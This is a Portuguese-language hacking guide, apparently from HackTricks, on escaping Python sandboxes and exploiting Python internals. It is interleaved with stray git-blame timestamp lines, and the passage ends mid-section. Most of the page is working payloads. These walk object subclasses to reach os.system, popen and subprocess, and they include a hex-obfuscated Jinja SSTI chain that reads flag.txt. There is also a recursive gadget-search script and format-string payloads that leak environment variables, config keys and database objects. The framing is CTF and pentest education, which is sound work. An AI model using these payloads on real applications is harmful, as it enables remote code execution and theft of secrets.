2021-06-25 13:39:46 +00:00
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[1].__subclasses__()
"".__getattribute__("__class__").mro()[1].__subclasses__()
"".__getattribute__("__class__").__base__.__subclasses__()
2022-09-12 21:12:49 +00:00
#If attr is present you can access everything as a string
# This is common in Django (and Jinja) environments
2021-06-25 13:39:46 +00:00
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
```
2023-06-06 18:56:34 +00:00
### Encontrando bibliotecas perigosas carregadas
2021-06-25 13:39:46 +00:00
2023-06-06 18:56:34 +00:00
Por exemplo, sabendo que com a biblioteca **`sys`** é possível **importar bibliotecas arbitrárias**, você pode procurar por todos os **módulos carregados que importaram sys dentro deles**:
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
```
2023-06-06 18:56:34 +00:00
Existem muitos, e **nós só precisamos de um** para executar comandos:
```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```
2023-06-06 18:56:34 +00:00
Podemos fazer a mesma coisa com **outras bibliotecas** que sabemos que podem ser usadas para **executar comandos**:
```python
#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
2021-10-06 00:19:16 +00:00
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls')
#subprocess
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
[ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls')
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls')
#builtins
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")
#sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")
#commands (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")
2021-10-06 00:19:16 +00:00
#pty (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")
2021-10-06 00:19:16 +00:00
#importlib
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
2021-10-06 00:19:16 +00:00
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")
#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
```
2023-06-06 18:56:34 +00:00
Além disso, podemos até mesmo procurar quais módulos estão carregando bibliotecas maliciosas:
```python
2021-10-06 00:19:16 +00:00
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ]
print(f"{b}: {', '.join(vuln_libs)}")
"""
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
commands:
subprocess: BaseDependency, Origin, Version, Package
pty:
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
imp:
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
2021-10-06 00:19:16 +00:00
pdb:
"""
```
2023-06-06 18:56:34 +00:00
Além disso, se você acha que **outras bibliotecas** podem ser capazes de **invocar funções para executar comandos**, você também pode **filtrar por nomes de funções** dentro das bibliotecas possíveis:
```python
2021-10-06 00:19:16 +00:00
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
2021-06-25 13:52:40 +00:00
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
for b in bad_libraries_names + bad_func_names:
vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ]
print(f"{b}: {', '.join(vuln_funcs)}")
"""
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
commands:
subprocess: BaseDependency, Origin, Version, Package
pty:
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
imp:
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
2021-10-06 00:19:16 +00:00
pip:
pdb:
system: _wrap_close, _wrap_close
getstatusoutput: CompletedProcess, Popen
getoutput: CompletedProcess, Popen
call: CompletedProcess, Popen
Popen: CompletedProcess, Popen
spawn:
import_module:
__import__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec
load_source: NullImporter, _HackedGetData
execfile:
execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPReq
"""
```
2023-06-06 18:56:34 +00:00
## Busca Recursiva de Builtins, Globals...
2021-10-06 00:19:16 +00:00
{% hint style="warning" %}
2023-06-06 18:56:34 +00:00
Isso é simplesmente **incrível**. Se você está **procurando por um objeto como globals, builtins, open ou qualquer coisa**, basta usar este script para **encontrar recursivamente lugares onde você pode encontrar esse objeto.**
2021-10-06 00:19:16 +00:00
{% endhint %}
```python
2021-10-06 10:13:49 +00:00
import os, sys # Import these to find more gadgets
2021-10-06 09:54:56 +00:00
2021-10-06 00:19:16 +00:00
SEARCH_FOR = {
# Misc
"__globals__": set(),
"builtins": set(),
"__builtins__": set(),
"open": set(),
# RCE libs
"os": set(),
"subprocess": set(),
"commands": set(),
"pty": set(),
"importlib": set(),
"imp": set(),
"sys": set(),
"pip": set(),
"pdb": set(),
# RCE methods
"system": set(),
"popen": set(),
"getstatusoutput": set(),
"getoutput": set(),
"call": set(),
"Popen": set(),
"popen": set(),
"spawn": set(),
"import_module": set(),
"__import__": set(),
"load_source": set(),
"execfile": set(),
"execute": set()
}
2022-09-12 21:12:49 +00:00
#More than 4 is very time consuming
2021-10-06 00:19:16 +00:00
MAX_CONT = 4
2022-09-12 21:12:49 +00:00
#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found
2021-10-06 00:19:16 +00:00
#ALREADY_CHECKED = set()
def check_recursive(element, cont, name, orig_n, orig_i, execute):
2022-09-12 21:12:49 +00:00
# If bigger than maximum, stop
2021-10-06 00:19:16 +00:00
if cont > MAX_CONT:
return
# If already checked, stop
#if name and name in ALREADY_CHECKED:
# return
# Add to already checked
#if name:
# ALREADY_CHECKED.add(name)
# If found add to the dict
for k in SEARCH_FOR:
if k in dir(element) or (type(element) is dict and k in element):
SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")
# Continue with the recursivity
for new_element in dir(element):
try:
check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)
2022-09-12 21:12:49 +00:00
# WARNING: Calling random functions sometimes kills the script
2021-10-06 00:19:16 +00:00
# Comment this part if you notice that behaviour!!
if execute:
try:
if callable(getattr(element, new_element)):
check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)
except:
pass
except:
pass
2022-09-12 21:12:49 +00:00
# If in a dict, scan also each key, very important
2021-10-06 00:19:16 +00:00
if type(element) is dict:
for new_element in element:
check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)
def main():
print("Checking from empty string...")
total = [""]
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
2021-10-06 09:50:35 +00:00
check_recursive(element, cont, "", str(element), f"Empty str {i}", True)
2021-10-06 00:19:16 +00:00
print()
print("Checking loaded subclasses...")
total = "".__class__.__base__.__subclasses__()
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
2021-10-06 09:50:35 +00:00
check_recursive(element, cont, "", str(element), f"Subclass {i}", True)
2021-10-06 00:19:16 +00:00
print()
print("Checking from global functions...")
total = [print, check_recursive]
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
2021-10-06 09:50:35 +00:00
check_recursive(element, cont, "", str(element), f"Global func {i}", False)
2021-10-06 00:19:16 +00:00
print()
print(SEARCH_FOR)
if __name__ == "__main__":
main()
```
2023-06-06 18:56:34 +00:00
Você pode verificar a saída deste script nesta página:
2021-10-06 10:13:49 +00:00
{% content-ref url="output-searching-python-internals.md" %}
[output-searching-python-internals.md](output-searching-python-internals.md)
{% endcontent-ref %}
2021-10-06 10:13:49 +00:00
2022-09-30 10:43:59 +00:00
![](<../../../.gitbook/assets/image (9) (1) (2).png>)
2022-08-31 22:35:39 +00:00
\
2023-06-06 18:56:34 +00:00
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
Obtenha acesso hoje:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-07-02 18:05:33 +00:00
## Python Format String
2021-10-06 00:19:16 +00:00
2023-06-06 18:56:34 +00:00
Se você **enviar** uma **string** para o python que será **formatada**, você pode usar `{}` para acessar **informações internas do python**. Você pode usar os exemplos anteriores para acessar globais ou builtins, por exemplo.
2021-10-06 09:50:35 +00:00
{% hint style="info" %}
2023-06-06 18:56:34 +00:00
No entanto, há uma **limitação**, você só pode usar os símbolos `.[]`, então você **não poderá executar código arbitrário**, apenas ler informações.\
_**Se você souber como executar código por meio dessa vulnerabilidade, entre em contato comigo.**_
2021-10-06 09:50:35 +00:00
{% endhint %}
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
"KEY": "ASXFYFGK78989"
}
class PeopleInfo:
def __init__(self, fname, lname):
self.fname = fname
self.lname = lname
def get_name_for_avatar(avatar_str, people_obj):
return avatar_str.format(people_obj = people_obj)
people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
2023-06-06 18:56:34 +00:00
Observe como você pode **acessar atributos** de forma normal com um **ponto** como `people_obj.__init__` e elementos de **dicionário** com **parênteses** sem aspas `__globals__[CONFIG]`.
2021-10-06 09:50:35 +00:00
2023-06-06 18:56:34 +00:00
Observe também que você pode usar `.__dict__` para enumerar elementos de um objeto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
2021-10-06 12:43:31 +00:00
2023-06-06 18:56:34 +00:00
Algumas outras características interessantes das strings de formatação é a possibilidade de **executar** as funções **`str`**, **`repr`** e **`ascii`** no objeto indicado adicionando **`!s`**, **`!r`**, **`!a`** respectivamente:
2021-10-06 12:43:31 +00:00
```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
```
2023-06-06 18:56:34 +00:00
Além disso, é possível **codificar novos formatadores** em classes:
2021-10-06 12:43:31 +00:00
```python
class HAL9000(object):
def __format__(self, format):
if (format == 'open-the-pod-bay-doors'):
return "I'm afraid I can't do that."
return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.
```
2023-06-06 18:56:34 +00:00
**Mais exemplos** sobre **formatação** de **strings** podem ser encontrados em [**https://pyformat.info/**](https://pyformat.info)
2021-10-06 12:43:31 +00:00
2023-06-06 18:56:34 +00:00
### Cargas úteis de divulgação de informações sensíveis
2021-10-06 09:50:35 +00:00
```python
{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
{whoami.__globals__[os].environ}
{whoami.__globals__[sys].path}
{whoami.__globals__[sys].modules}
# Access an element through several links
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
```
2023-06-06 18:56:34 +00:00
## Dissecando Objetos Python
2021-10-06 00:19:16 +00:00
2021-10-06 14:43:31 +00:00
{% hint style="info" %}
2023-06-06 18:56:34 +00:00
Se você quer **aprender** sobre **bytecode python** em profundidade, leia este **incrível** post sobre o assunto: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
2021-10-06 14:43:31 +00:00
{% endhint %}
2023-06-06 18:56:34 +00:00
Em alguns CTFs, pode ser fornecido o nome de uma **função personalizada onde a flag** está localizada e você precisa ver os **internos** da **função** para extraí-la.
2023-06-06 18:56:34 +00:00
Esta é a função a ser inspecionada:
```python
def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
if some_input == var2:
return "THIS-IS-THE-FALG!"
else:
return "Nope"
```
2022-07-02 18:05:33 +00:00
#### dir
2023-06-06 18:56:34 +00:00
A função `dir()` é usada para listar os nomes de todos os módulos, variáveis e funções disponíveis em um determinado escopo. Quando chamada sem argumentos, ela lista os nomes disponíveis no escopo atual. Quando chamada com um argumento, ela lista os nomes disponíveis no escopo do objeto passado como argumento. Essa função pode ser útil para explorar um objeto desconhecido e descobrir quais métodos e atributos ele possui.
```python
dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag) #Get info tof the function
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
```
2022-07-02 18:05:33 +00:00
#### globals
2023-06-06 18:56:34 +00:00
`__globals__` e `func_globals` (mesmo) obtêm o ambiente global. No exemplo, você pode ver alguns módulos importados, algumas variáveis globais e seu conteúdo declarado:
```python
get_flag.func_globals
get_flag.__globals__
{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}
#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__
```
2023-06-06 18:56:34 +00:00
[**Veja aqui mais lugares para obter globais**](./#globals-and-locals)
2023-06-06 18:56:34 +00:00
### **Acessando o código da função**
2023-06-06 18:56:34 +00:00
**`__code__`** e `func_code`: Você pode **acessar** este **atributo** da função para **obter o objeto de código** da função.
```python
2021-10-06 13:23:46 +00:00
# In our current example
get_flag.__code__
<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1
# Compiling some python code
compile("print(5)", "", "single")
<code object <module> at 0x7f9ca01330c0, file "", line 1>
2022-09-12 21:12:49 +00:00
#Get the attributes of the code object
2021-10-06 13:23:46 +00:00
dir(get_flag.__code__)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
2021-10-06 13:23:46 +00:00
```
2023-06-06 18:56:34 +00:00
### Obtendo Informações do Código
2021-10-06 13:23:46 +00:00
```python
2022-05-01 12:41:36 +00:00
# Another example
2021-10-06 13:23:46 +00:00
s = '''
a = 5
b = 'text'
def f(x):
return x
f(5)
'''
c=compile(s, "", "exec")
2021-10-06 15:44:17 +00:00
# __doc__: Get the description of the function, if any
print.__doc__
2021-10-06 13:23:46 +00:00
# co_consts: Constants
get_flag.__code__.co_consts
(None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')
2021-10-06 13:23:46 +00:00
c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.
(5, 'text', <code object f at 0x7f9ca0133540, file "", line 4>, 'f', None
# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
get_flag.__code__.co_names
()
c.co_names
('a', 'b', 'f')
#co_varnames: Local names used by the bytecode (arguments first, then the local variables)
get_flag.__code__.co_varnames
('some_input', 'var1', 'var2', 'var3')
#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.
get_flag.__code__.co_cellvars
()
#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.
get_flag.__code__.co_freevars
()
#Get bytecode
